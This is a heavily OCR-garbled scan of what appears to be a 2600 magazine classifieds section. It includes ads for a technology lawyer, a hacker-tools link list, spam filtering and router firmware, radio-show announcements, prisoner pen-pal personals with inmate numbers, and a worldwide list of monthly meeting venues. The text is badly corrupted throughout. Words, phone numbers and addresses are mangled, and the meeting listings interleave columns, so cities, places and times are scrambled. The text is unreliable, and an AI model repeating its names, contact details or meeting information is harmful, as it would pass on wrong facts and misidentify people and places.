,lnd ;H q u i s it ions, cl'> w(' l l  d'>  gener,l l hus i ness and corporate 1,1w. 
Ow'r 1 1  ye,w; expc'rif'IlCP ;1<; i n - hou<;(' l<'g,]1 ( ou ns('1 to d ( o rnpute! 
cons u l t i n g  h u s i rw'>s dS  wel l  ,15 ,lIl over 2 0  Y{,dr hal kgroll nd in 
cclfnp uH'r, tpl<:'(-o rn m u n i calions, ,l nd technology mattprs. I)u b l i siwd 
law revipw art ic les, ( olll r ibutpo to n,lt iollil i l y  p u h l i shed buoks, d [l{l 
'>uhmittt'd br iPls to the U n i ted States Supr('rlw Court on I ntern('t a n d  
tt'chnology rel,1ted i,,<;up,>.  Admitted to the u . s .  Su prenw Court, 2 n d  
C i rc u i t  ("(lUrL { ) f  Appea ls,  anrl ,1 1 1  N e w  York Statp ( ou rts dnd fd m i l i dr  
with other  j u r isdict ions as wei ! .  M;my dttorneys wi l l  take your C<l"P 
without any cOflsi der<1t ion of our ndture and w i l l  S('(' you merely <IS 
,1 suurce of fee'> or worse, with  i l l-conceived prej udices.  My office 
lInd('rst; mo<; our c u l t u re, is syrnp,lthetic to your s ituation, anrl  w i l l  
tre,lI y o u  w i t h  t h e  respect a n d  u n dcrsta n d i n g  you deserve. N o  fee 
for the i n i t i a l  Clnd confident i d l  consult.ltion and, if for any rC'(lson W(' 
can not help you. we w i l l  even try to find someone else who can .1t 
no ch'l rge. So you have not h i n g  to lose and perh<lps everyth i n g  to 
ga i n  by cont<lC t illg us  first. V i,> i !  us  at: http ://www.computorncy.com 
or cail 5 1 6-9WE-H E L P  ( I)  1 6-99.1 -4.1 5 7 ) .  
HACKER TOOLS TREASURE BOX! You get over 6 6 0  l i nks 
to key fPSOllrn'<;, p l u s  our proven methods for root i n g  
out the ha rd-to-fi nd touls,  i nstant ly !  I.('ts y o u  b u i l d  your 
own custom h�lck('r (AHEM, IJetwork sec u rity) tool kit 
http://F(lTtressf),lt;lPf()tect ion.com/sec ur itybook 
GET A RAISE AT WORK - BLOCK MORE SPAM. Spil m Stopsl j ere 
(vvww. <;p;lmstopslwre.com) i s  the premier solut ion to h e l p  you 
i mprove vour bus�' op in ion of you, or h f' l p  you k('cfl spam Llway frorn 
you r  own hus inc'><;. I t  w i l l  h e l p  you block over 99'X) uf sp<lm "out of 
the box" <lr)(1 hel'> v i rt u a l l y  no f,l ls(' posit ivps. I t  req u i res no t u n i ng. 
other than h,w i n g  y o u r  u<;ers s e n d  any s p il m  that doe� managp to get 
t h rough to a spC'c i a l  e-ma i l  add res,>, <;0 i t  too g<'ls b locked for a l l  of 
SpamS\opsHere's c l ients.  B(,CdUSC' of the rnethodology used, even 
medica l  group'> ,md law firms, the two h,l rdc<;t types of orga nizd­
t ions to "p,l m  fi l ter. c;m gd grc,lt  <;ucces,> .  I 've been u s i n g  the service 
rnyS(�I( (or two yp,1rs at rny employer, and have person;l l l y  h,ul two 
fa lse pos it ives in that t i mp, with 85'1., of th(' m a i l  my orga ll i zdt ion 
rf'ceiV<'s being sp,l m .  I n  t h e  event thdt there i s  a f;l lse posit ivc, your 
users can find out about it  thf'rn<;elv('<; anrl retrieve i t  tht'rnselvps.  
The serv ice i s  ,l lso c.Jpdble of b locking vi ruses, putt i n g  another l i n(' 
of defense l)('tw�'pn ,) v i rus  and you r  m il i l  servers. The service evt'n 
i m p roves t'-rn d i l  rt' l i ''1 b i l i ty w i t h  m u l t i p le-red u ndant servers ilt loca­
t ions around tht' U . S . ,  which a u to-store ;lnd forwClrd your ('-ma i l  in 
the event of .J h,udwilre f;·1 i l u re on your end. Best of a l l ,  i t  i s  very 
<1ffordable, and offers a 3 0-day free t r i a l .  Rea l i 7 i ng that we'd be a 
good m arket for them, I managed to negot i ate a 1 5  percent d iscount 
off the price ofthc' serv ice for a l l  2600 rp,lders. S i m p l y  contact Scan at 
secll1 @ spamstopshere.com and mention 2600 M<l!jdzine to get your 
d i scount.  
HAVE A PROBLEM WITH THE LAW! DOES YOU R  LAWYER NOT 

U N D E RSTA N D  YOU ?  H ave you been charged with a computer 
related cr imp? I s  someonl' th rc'C1te n i n g  to ,>ue you for somet h i n g  
t('chno!ogy rt,lated? Do y o u  j ust need a lawyer t h ;l t  u nderstand IT 
and the hdcker  c u l tu re( I 've p u b l i shed and presented at H C) P E  and 
[)C'icon on the law LH i n g  technology profess iona ls  a n d  h a c kers a l i ke.  
I ' rn  both a l awyer and a n  IT profession<l l .  Admitted t o  practice law 
i n  ppnnsylvil il i a  ;lIld New jersey. hee consultat ion to 2600 readers. 
http://rn uentll aw.com alex(u) m u cntzlaw.com (2 1 I) )  B06-4'HB 
I N CARCERATED 2600 MEMBER NEEDS COMMU N ITY HELP to 
b u i l d  content i n  free c lass i fied ad and "local hus i n('<;s d i rectory" 
in 50 count rips. John Lambros, the founder of Boycott H ra/ i l ,  h(ls  
l a u nched a �·R.H cla<;s i fied ad, want  ad, anrl loc,ll hll<; i ne<;s d i rectory 
in 5 0  global m,l rkeh. The rni'>s ion i s  s i mple:  "free h e l p  to b i l l i ons of 
people lo( dt ing jobs, hous i ng, good,> ;l nd <;erv i n''>, soc i a l  act iv i t ies, 
a gi rlfriend or boyfripnd, community i nformation, and j ust about 
anyt h i n g  else i n  over one m i l l ion neigh borhoods throughout the 
world - al l  for FRFF. H Fl . P  M E  OLJT! SPREAD T H E  WOR D !  P lpdse 
v is i t  www. NoPayC las� ifieds.com and add some content. It w i l l  takp 
a l l  of five or ten m i n utes. I . inks to "No PilY CI;w; ifieds" d r<.'  d lso 
greatly apr)f(�c i ;)kd. 
PIMP YOU R  WIRELESS ROUTER! http://packctprotector.org. Add 
VPN, I PS, dnd web AV c;:}pab i l i t i('s to your w i re le'>s router with free, 
open-sou rce firnlw.l re from PackE'lProtector.org 
ADVANCED TECH N I CAL SOLUTIONS. # 4 2 2  1 7 5 5  Robson 
Street, VarH.ouver, B .C Clnada V6C .W7. Ph: (604) 928-0 S I) I) .  E lec­
tro n i c  counternW(l<;llf('S - find out who i s  �eCTet ly  v i deota p i n g  you 
or bugging your en or office. "Slate of the Art" detection c q u i p lnpnt 
ut i l i Lec!. 

Announcements 

OFF THE HOOK i s  the wl'ekly Oll{, hour  hacker radio show 
prpst'nll..'d W{'dn(',>ddY n ight'> ;It 7 :00 prn [T on VVBAI qq . .') 
FM in New York C i tv. You Cdn d l so tu n!' in over til(' I)('t dt 
www.2 600.com/offl hehook. An-hlv{'s of ,1 1 1  ,> hows dat ing bd( k to 
1 99B C d n  he fou ll d  <It t h ( '  2600 s i t (' i n  nl P )  formal !  Shmv,> (I"om 
1 QaH·1007 ,He now .lvd i l d b l {' i ll [)V D-R h i g h  fidt> l i t y  ,lUd i o  for o n l y  
$ 1 0  a ye.lr or $ 1 5 0  for a l i fet ime sub'>cript ion.  St'nd ( Iwck o r  Il1um'y 
ordf'r (0 2600, PO Box 7')1, Middle  b l ,l r1d, N Y  1 J i) "!  \ U S A  or ordl'r 
t h rough our  o n l i n e  '>tore at http ://storc . 2 ()OO.uHn. Your t·c{'db,H k on 
t h ", program i s  d l way� welcome at oth Ca1 2 600.C OIll . 
T H E  HACKERS YOUTUBE. Vidpo shar ing ( nrnrn u n ity for 
u p load i n g  and watch i n g  strea m i ng hacki ng, modd i ng, and 
u nderground v i deos that the community can fply on 10 (]{' I iver 
q u a l ity conlent to a nyont' w i l l i n g  to lake Ihe l i nw (0 Ipclrn.  
http://www.veryangrytodd.com 
T H E  HIGH WEIRDNESS PROJECT. We a re cl  Su bCf'n i u s  w i k i  
seeki n g  s u b m i s s i o n s  of strange, controvers i a l ,  s u bvcrsiw', dnd dbove 
a l l  S l ackfu l sources of i nformdt ion.  We do not fo l low d so-cal  It'd 
" neutr.l l point of v iew" - p l easp m a ke your entries as il i dsed <IS you 
want, ,1S long as they're i ntert'st i n g !  Spec i a l  sedions dedicdtf'd to 
i nformation warfare, softwarc, con"p i racies, rel igion dnd skf'pt i ­
c i s rn ,  and more. Chpck us  o u t :  www. mooemac.com . 
PHONE P H U N .  http ://phoncph u n . us .  B log devo\t'd to i ntr're'>t i n g  
p hone n u rnbers. Share y o u r  f inds !  

Pprsonals 

23 YEAR OLD SERV I N G  2 YEARS in Sheridan, ( hegon for h'lCk ing 
i nto AT&T p l u s  many oth<:'r Vol P  providers. F i r<;t 10 he charged with 
Vol P  cr imes.  Ff'aturC'd on America :, Mos/ Wanted with  K .  Mitn ick.  
Looking for A N YO N E  to write me. Check freeroherl.colll for mort' 
i nfo. 
WHEN THE B U L LET H ITS THE BONE. Change of ,lddw"". I f  you 
tr ied to send m a i l  ;:mr! i t  got rptunwd, that's why. Rowd and lonely 
phone nerd with  "ome t ime left  i n  our n,l t ion\ wondf'rfll l correc­
t i ons sy'>te m .  Sti l l  looking for pen PJls to help nl{' P;l<;S the t ime.  
Wi l l  respond to a l l .  I n tpn'sts i n c l ude but not l i m ited to t(, l ecom, 
computers, pol i t ics, music, tats, urb;m exploration, c l f'{ I ron ic'> .  I ' m  
a 2 ]  y r s  w h i te m a l f', b l a c k  h a i r, green eyes. S o m e  t a \ <; o  Mich,wl i« 'rr 
09496-029, FCI  Oxford, PO Box 1 000, Oxford. W I  f:i3 9 S 2 .  
COUNTER-INTELLIGENCE, HACKING, comput{'r r('!;ltcd COl lnt('r­
mCclsun's. Former i n t £' l l igenc(' officer i n terested i n  new compu\t'r 
re lated technology. I n  search of frif'nris, cont,l( 1'>, ;lIld worldwide 
pen pals  any age, race, or oripnt;l\ ion.  I f  pms i b lc, i n c l ud(' pholo with 
l etter. No n u d i ty, polaroids, or i n mate m a i I . Sp.i n i <; h  or Fngl i '> h  O K .  
I p u rchase mag;:]zi nps, books, u n u s u a l  pictures w i t h  my o w n  flmds.  
WM, 6' ,  1 80, b londc, brown - wi l l  respond to a l l .  In tcf('st('d i n  i nfo 
all f i m n c i a l  privacy, offshore trusts, hacki ng, ,md count('r i ntf' l l i ­
genu'. D. Corye l l ,  T-68 1 2 7, PO Box 8504, D.1 - 2 4 7 up, Coa l i nga, 
CA 9J1 1 0. 
OFFLINE OUTLAW IN TEXAS needs some h e l p  in dcvploping 
progra m m i n g  sk i l l s .  Interested i n  PC'r !  anrl java'>cript .  Also privacy 
in all areas. L i brary her£' i s  i nadroquate. Fpc! frec to drop those R i l l  
M e  Later c<1rds, d d d  nl(' t o  t h e  m a i l ing l i sts, etc . .  Th;lIlks 10 illl th()<;(' 
who have hel ped me so much il l H';Jrly, you know who YOLi ;lfC. 
W i l l i a m  L i n d l ey 8 2 2 cB4,  <:T Terre l l ,  1 1 00 EM (1)1) ,  Rosh,lf(ln, TX 
7758J -8604 
GAY PRISONER SEEKS F R I E N DS to hE'lp with book review lookup" 
on Amdzon by keyword<;. Corn Sci  major, t h i r�ty to c.ltch u p  to the 
real  world before my reentry. I haW' my own funds to buy book'>.  I 
o n l y  need rev iews. I ' m  M U D/MMORPC savy in ("++, jdVd. Python, 
P H P, MySQI., D i redX. Ken Rofwrts j b0962 , 4 S 0 - 1 -2BM, PO Box fJ, 
Avena l .  CA 9 3 2 04 .  

O N LY S U BSC R I BERS C A N  ADVERTISE I N  26001 Don't ('v('n 
t h i n k  (l bout  try i n g  to take out elll d d  u n lf'ss you subscr ibe!  A l l  a d s  
a re fref' d n d  t h e r e  i s  n o  <� m o u n t  of m o n !' y  we w i l l  i- K Cl V t  f o r  a 
n o n - s u bscr iber  a d .  We hope that's c l ea r. Of cou rse, we reserve 
t hl' r i g h t  to pa.ss j udgment on your a d  and not p r i n t  i t  i f  i t's ,1 maL­
i ng l y  qupid or  h a s  not h i n g  <:It a l !  to do w i t h  t h e  hdcker world.  
We' rn �l k c  n o  g u a ra n tpp a<, to t h e  h o nesty. r i g h tcou<,nf.'ss, sdn ity, 
('te. of the pE'ople advert i s i n g  hf're. f:ontJct them at your pf'r i l .  
A l l  s u b m i s s i o n s  (I re for O N E  I S S U F  O N LY !  I f  y o u  wa n t  to r u n  
y o u r  a d  m nrf' th ,m o n c e  y o u  m u st ff',> u h m i l  it  f'ilc h  t i m p .  I )on't  
e x pect u s  to r u n  morc than ont' a d  for you i n  a s ingle i ssue e i l h er. 
I n c l ude you r  address label/envplopf' or  a p h otocopy so wp know 
you're a subscr i ber. Sf'nd your a d  to 2600 MMketp!,lCP, PO Box 
9 9 ,  M i d d k, b l a nd, NY 1 1 95 3 .  You c a n  a l s o  (" ma i l  your  dds to 
s u b� @ 2 600.com.  He s u re to i n c l ude your s u b<;( r iber cod i ng (those 
n u m bers o n  the top of you r  m a i l i n g  label)  for veri f icat ion.  

Deadline for Winter issue: 1 1 125/08. 
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Th e 9 0 0  p a g e  co l l e ct i o n  of h i g h l i g hts fro m o u r  

24 y e a rs o f  p u b l ish i n g  i s  n o w  o u t ,  i n c l u d i n g  

a l l  so rts o f  n e w  c o m m e ntary t o  g o  a l o n g  w i th 

the h isto ri c materi a l . P u b l i s h e d  b y  W i l e y  a n d  

ava i l a b l e  at  b o o ksto res eve ry w h e re ,  o b ta i n a b l e  

vi a a m azon . co m , b n . co m , b o rd e rs . co m , a n d  

count l ess oth e r  s i tes thro u g h o u t  the w o rl d . 
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"We live in a society exquisitely dependent on science and technology, in which 
hardly anyone knows anything about science and technology. " - Carl Sagan 
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GREECE Florida ARG ENTINA 
Buenos Aires: lhe "Cruzat Beer Athens: OUhide the bookstore Pcl)B- Gainesville: I n  the back of the 
I !OLl�t'" heir, S,mn ientu 1 6 1 7  ((i rst 
Iloor, PdS(,O I J Plaz,l).  

so! i r iou on the corner of Pdtis ion I J n iVf'rsity of r !or id,.l's RelIt U n i o n  
,md Stou rndr i .  7 pm food cou rt. b pm 

AUSTRALIA 
Melbourne: C:lffe i n e  a t  R(>Va u i t  Bar, 
1 (J Swa!l<;ton \Va lk,  ned[ Melbourne 
Lenir.!1 Shopp i n g  Centre. 6:30 pm 
Sydney: The Crysta l Pala.ce', front 
b.n/bistro, oppo'>ite the bus sldlion 
.nhl on George 51 at Cf>ntrdl St.l t lon.  
6 pm 

I RELAND Melbourne: House of joe Coffee 
Dublin: At the phone booth" on House, -I no W New f-Iavpn Ave. 

AUSTRIA 
Graz: C.lfe H d i leS(e l i c  on 
J,lkom i n ipidtz.  

BRAZIL 
Belo Horizonte: Peipgo\ Bar  elt 
Assufeng, near tht' payphone. 6 pm 

CANADA 
Alberta 

Calgary: EdU Cld ire Market food 
court by the b land yel low wOl 1 1 .  
6 pm 

Manitoba 
Winnipeg: 5t. Vital Shopping Centre, 
food court by HMV. 

New Brunswicl< 
Moncton: Champla i n  Mall food 
court, neM KFC 7 pm 

Ontario 
Guelph: W i l l iam's Coffee Pub. 492 
E d i n bourgh Rd 5 .  7 pm 
Ottawa: World Excha nge PIMa, 1 1 1  
Al bert St, second floor. 6 : 3 0  pm 
Toronto: Free Times Cafe, Col legf' 
,md Spd d i n a .  
Windsor: U n iversity at Windsor, 
CAW Stuc!r'nt Center commons area 
by the large w i n dow. 7 pm 

Quebec 
Montreal: Bf' 1 1  Amphi theatre, 1 000, 
rue de la  Caulhetiere 

C H I NA 
Hong Kong: Pacific Coffee i n  
Festival Wa l k, Kowloon rong_ 7 pm 

CZECH REPUBLIC 
Prague: I egenda pub. £> pill 

DENMARK 
Aalborg: fast Fddic's pool h a l l  
Aarhus: I n  t h e  f a r  COflwr of the D S B  
cafe i n  til(' stat ion 
Copenhagen: B lasen 

Wicklow 51 beside Tower Records 
7 pm 

ITALY 
Milan: Pia £Ld Loreto in front of 
McDonalds.  

JAPAN 
Tokyo: L i n u x  Cafe in Aki hdbdra 
d i stricL.  6 pm 

MEXICO 
Mexico City: "Zocalo" SubwdY 
Station ( L i ne 2 of the "METRO" 
subway, tl1(' hlue one). At the 
" Departamento del D istr ito feoera l "  
exit,  n e < H  t h e  pdyphones and the 
candy shop, at the heg i n n i ng of the 
"Zoca lo-Pino Suarez" tunnel  

NEW ZEALAND 
Auckland: London H a r, upsta i rs, 
Wel lp� ley St, Auckland Centra l .  
5 : 3 0  p m  
Christchurch: java Cafe, corner of 
H i gh 51 dnd Mo1nchester St. 6 pm 
Wellington: l oad Cafp i n  Cuba 
M a l l .  6 pm 

NORWAY 
Oslo: Oslo Sentral Tra i n  Station 
7 pm 
Tromsoe: The upper floor at B l a a  
R o c k  COl i e ,  Strandgata 1 4 . 6 pm 
Trondheim: Rich Cafe in 
NordregJte. 6 pm 

PERU 
Lima: Barb i l o n i a  ( e x  A p u  B a r ) ,  en 
Alcanfores 455, M i raflorE's, at the 
end of Tar dta St. 8 pm 

SOUTH AFRICA 
Johannesburg (Sandlon City): 
Sandton food court. (,:30 pm 

SWEDEN 
Gothenburg: 2 nd (loor i n  B u rger 
K i n g  at Avpnyn.  6 pm 
Stockholm: Outside l ava. 

SWITZERLAND 
Lausanne: In front of the Mac Do 
beside the tr.l i n  stat ion.  7 pm 

U N ITED STATES 
Alabama 

Sonderborg: Cafe Druen. 7 : 3 0  [1m Auburn: The student lou ngc upsta i rs 

EGYPT i n  the F-oy LJ n i o n  B u i l d ing.  7 pm 

Port Said: At the foot of the Obe l i s k  Huntsville: Std l l l il'O\ Sub V i l l d  O J I  

( I - I  Mi,,�a l la h ) .  Jorri;m Lane. 

ENGLAND Tuscaloosa: Md-=ar iand M,l l l  food 

Brighton: At the phone hoxes by the court ned ( the front entrancc 

Sp'l l i fe Centn' (dum<, thp rOdd from Arizona 

tlw PaI.1Cf' P iprj . Payphone : (0 1 2 73 )  Phoenix:  U n l i m i ted Coff!'p ( 741  E .  

b O b 6 7 4 .  7 pill G l pnd,l l p  Ave�
a�i}�:l� ia Exeter: At thp payphones, Bpdforcl 

I rvine: Paner.) B redd, 3988 Ba rranca 

���;:
r:t ��::'nd of the bus '>tation t'arkw,lY· 7 pill 

opposite Vv' i l k i nsol1s, Cmterbury Los Angeles: U n ion Station, cornp! 

( d O  pill 
of Mdcy & A l a meda. I n s i de m a i n  

London: Troudero Shopp i n g  Ccnter 
pntr,lnce by bdnk of phones. 

(near Piccad i l l y  C i r( us), lowest �:�������:1;��1; ��_�.�����: ;����� 
:���.�}�:�:::I�ll i l " I l edd Pub on 

Monterey: Mucky Duck. 479 Alva-

l ondon Rd. 7:30 pm ��(��a���:i�� �:��nd T,lblp P i ZLd at 
Norwich: Border,> elltr,mce to 1 2 7  K St 
Chdpplfipld M a l l .  6 pm San Diego: Regell!S PiLLa, 4 1 50 
Reading: Afro Bar,  Mprch ,Hlt� p ld( P, Regent,> Park Row # 1 70.  
off  rr idr 5t. I, pm San Francisco: 4 Embclrcadero Plaza 

F I N LAND ( i n s i rie) .  5 :  3 0  pm 
Helsinki:  Fpn n i ,lkortte l i  food court San Jose: Outside the caf(' at thp 
(VlIor iKdtu 1 4) .  M L K  L i hrary at 4 t h  and E S.H1 

FRANCE rern'lndo. (} pm 
l . i l le: C r,l Ild-Pl dc(' Wlau' Ch,Hlf'S elf' Colorado 
C;,l u l l p) i ll front of thp furd du Nord Boulder: Wing .lOll{' food court, 

6 pm 
Orlando: Fash ion Square M a l l  Food 
Courl hptween I lovan Cou rrnet and 
Mam_ h u  Wok .  6 pill 
Tampa: U n iversity M a l l  in the 
back of the food court on the 2 nd 
floor. 6 pm 

Georgia 
Atlanta: I enox M a l l  food court. 
7 pm 

Idaho 
Boise: B S U  StudE'tlt U n ion B u i l d i ng, 
upsta i rs from the m a i n  entrclnce. 
Payphone,>: (208) 3 4 2 - 9 700, 9 7 0 1  
Pocatello: Col lege Market, 604 
5 8th St 

I l l inois 
Chicago: Nei ghborhood Hoys dnd 
G i r l s  C l u b, 2 S 0 1  W Irving P"dTk 
Rd. 7 pm 

I ndiana 
Evansville: Ra rnps ,1I1d Noblp cafe elt 
624 5 Creell R iver Rd.  
Ft. Wayne: G l enbrook M a l l  food 
court in front of Sbands. (, pm 
Indianapolis: Mo'joe Coffee House, 
222 W Mich igeln SI. 

Iowa 
Ames: Memoria l  U n io n  B u i ld i n g  
food court at the Iowa State 
U n iversitv. 

Kansas 
Kansas City (Overland Park): Oak 
Park M a l !  food court. 
Wichita: R iverside Perk, , ' 44 
Bit t ing Avc. 

Louisiana 
Baton Rouge: I n  the LSLJ U n ion 
B u i l d i ng, between the Tiger Pause & 
McDonal d's. 6 pm 
New Orleans: Z'otz Coffee House 
uptown at 82 1 0  Oclk 51. 6 pm 

Maine 
Portland: M a i n e  M a l l  by the bench 
at the food court ooor. 

Maryland 
Baltimore: Bdfnps &: Noble cdfe at 
till' I n ner H a rbor 

Massachusetts 
Boston: Stratton Student Center 
( B u i l d i ng W20) dt MIT in the 2 n d  
floor lou nge a r e a .  6 pm 
Marlborough: Solomon Pdrk Mall  
food court. 6 pm 
Northampton: l)ownsta ir� of 
H<lyrna rket Cafe. 6 pm 

Michigan 
Ann Arbor: Starbucks i n  The 
Gal ler i,l  on S U n i V(�r<,ity 

Minnesota 
Bloomington: M a l l  of America, 
north sidp food court, between 
the D a i ry QUf'pn and thp Creek 
food piau' .  

Missouri 
Kansas City (Independence): Bd flle� 
&. Noble, 1 9 1 2 0  E 39th St. 
Sf. Louis: C a l leria food Court 
Springfield: Borders Books ,mn 
Music coffeeshop, _noo s Clt'n­
"tom' Ave, one block south of Hatlle­
field Mal l .  5 : '\ 0  pm 

Nebraska 
Omaha: Cros�roads M a l l  rood 
Court. 7 pm 

Nevada 
hookstore. I) pm I Hh ,mel Col lege. 6 pm Las Vegas: rejAVAnat(' Coffee, 3300 
Paris:  Pla( e tiP 1.1 Rppubl ique, I lear Lakewood: B ,H rlPS ,mel Noble in E F l d m i ngo Rd (at Pecml. 7 pm 
t ht, If'lnjlty) founta i n .  (}: W pill ( he Denwr West Shopp i n g  Center, New Mexico 

New York 
New York: Ci tigroup Center, i n  
t h e  lobby, I 'l3 E ,) 3 rd St, bptweell 
! exi nglon &: � rd 
Rochester: Pdnera B read, 2 3 7 3 W 
Ridge Rd. 7 : 3 0  pm 

North Carolina 
Charlotte: Panera Bread Company, 
11:1 2 '  JW Clay B lvd (neM U N e  
Cha r lotte). 6 : 3 0  p m  
Raleigh: Royal B e a n  coffee shop, 
-HIOl H i l lsboro 5t (next to the P l ay­
makers Sports Bar and across from 
Mered ith Coi legp) .  

North Dakota 
Fargo: West Acres M a l l  food court 
by the Taco john's .  6 pm 

Ohio 
Cincinnati: The Brew House, 1 04 7  E 
McM i l l a n .  7 pm 
Cleveland: U n iversity C i rc le 
Arabica,  1 1 3 00 ) u n i ppr Rd. U pstai rs, 
turn right, second room on left. 
Columbus: Easton Town Center 
at the food court across from the 
i ndoor fou nta i n .  7 pm. 
Dayton: TCI  rriday's off 725 by the 
Oayton Ma l l .  

Oklahoma 
Oklahoma City: Cafe Bel la ,  south­
edst corner of SW 89th St a n d  Pen n .  
Tulsa: Promenade M a l l  food court 

Oregon 
Portland: Backspace Cafe, 1 1 5  NW 
5th Avc.  6 pm 

Pennsylvania 
Allentown: Pa nera B reao, :� 1 00 W 
Ti lghman 51. 6 pm 
Harrisburg: P"anera Bre,ld, 4263 
U n ion Depos it  Rd. 6 pm 
Philadelphia: 3 0th St Station, 
southeast food court near m i n i  
post office. 

South Carolina 
Charleston: Northwoods M a l l  in the 
hall between Sears a n d  C h i k- F i I ·A 

South Dakota 
Sioux Falls: Empire M a l l ,  by Bu rger 
K i n g  

Tennessee 
Knoxville: Borders Books Cdfe 
across from Westown M a l l .  
Memphis: Quetza l ,  6 6 4  U n ion 
Ave. Ii pm 
Nashville: Va nderb i l t  U n iversity 
H i l l  Center, Room 2 J 8, 1 1 :1 1 l ath 
Ave 5.  6 prn 

Texas 
Austin: 5pidpr House Cafe, 2908 
Fruth St ,  iront rourn dUUS'> lrulll tire 
bar. 7 pm 
Houston: N i nfd's Expres� i n  front of 
Nurdstrom's i n  the Cal ler ia Md l l  
San Antonio: North SId( Ma l l  food 
court. /) pm 

Utah 
SaIL Lake City: ZCMI M d l l  i n  The 
Park Food Court. 

Vermont 
Burlington: Borders Books at 
Church St and CherTv St on the 
second f loor of thf' cafe. 

Virginia 
Arlington: (sec D i strict of Culumbidl  
Blacksburg: S q u i rps Student Center 
dt Virgi n i a  Tech, ' 1 8  N .  M a i n  St. 
7 pm 
Charlottesville: r�lIlera Bread d!  the 
Barrdcks Road Shopp i n g  Center 
6:30 pm. 
Virginia Beach: Iynn haven Mall Oil 
Lynnh'lVen Parkwdy. 6 pm 

Washington 
Seattle: Wd� h i ngton State Conven­
t ion Center. 2nd level. south side. 
fl pm 
Spokane: Coffce Station, 9 3 1  S N 
Nevad,) { N orth Spokd ne).  (-J pill 

Wisconsin 
Madison: Fa i r  Trade Coffee Hou<;e, 
4 1 8  State 51.  

Rennes: I n  Inlilt of the "tore " B l ue 1 4 .1 4 7  W Coltd X  i\V(' Albuquerque: LJl l iver,>ity of New All nlt'ctings take place on the first 

Hox" e l (N' to PI,lce ell' 1 01 Repub- District of Columbia Mexiw Student U n ion B u i l d ing Friday of the month. Unless olher-

l illue .  H pin Arlington: Pentagon City M,l l l  bV (p lan " l ower" If'vf'1 lou nge), 1n,1 I n  wise noted, they start a t  5 pm local 

Rouen: Pla( e de I ']  Clttwd relic by tht' phorH' booths next to P<l Ilcid LIITlpU<'.  Pdypholle� : '-; 0.1 -a4 3 -903 3 , time. To start a meeting in your city, 

the bpnche� in front.  a pm hprt's,,_ b pill .105 ·843-9034. 5:JO pm send email to meetingslt • •  2600.com. 
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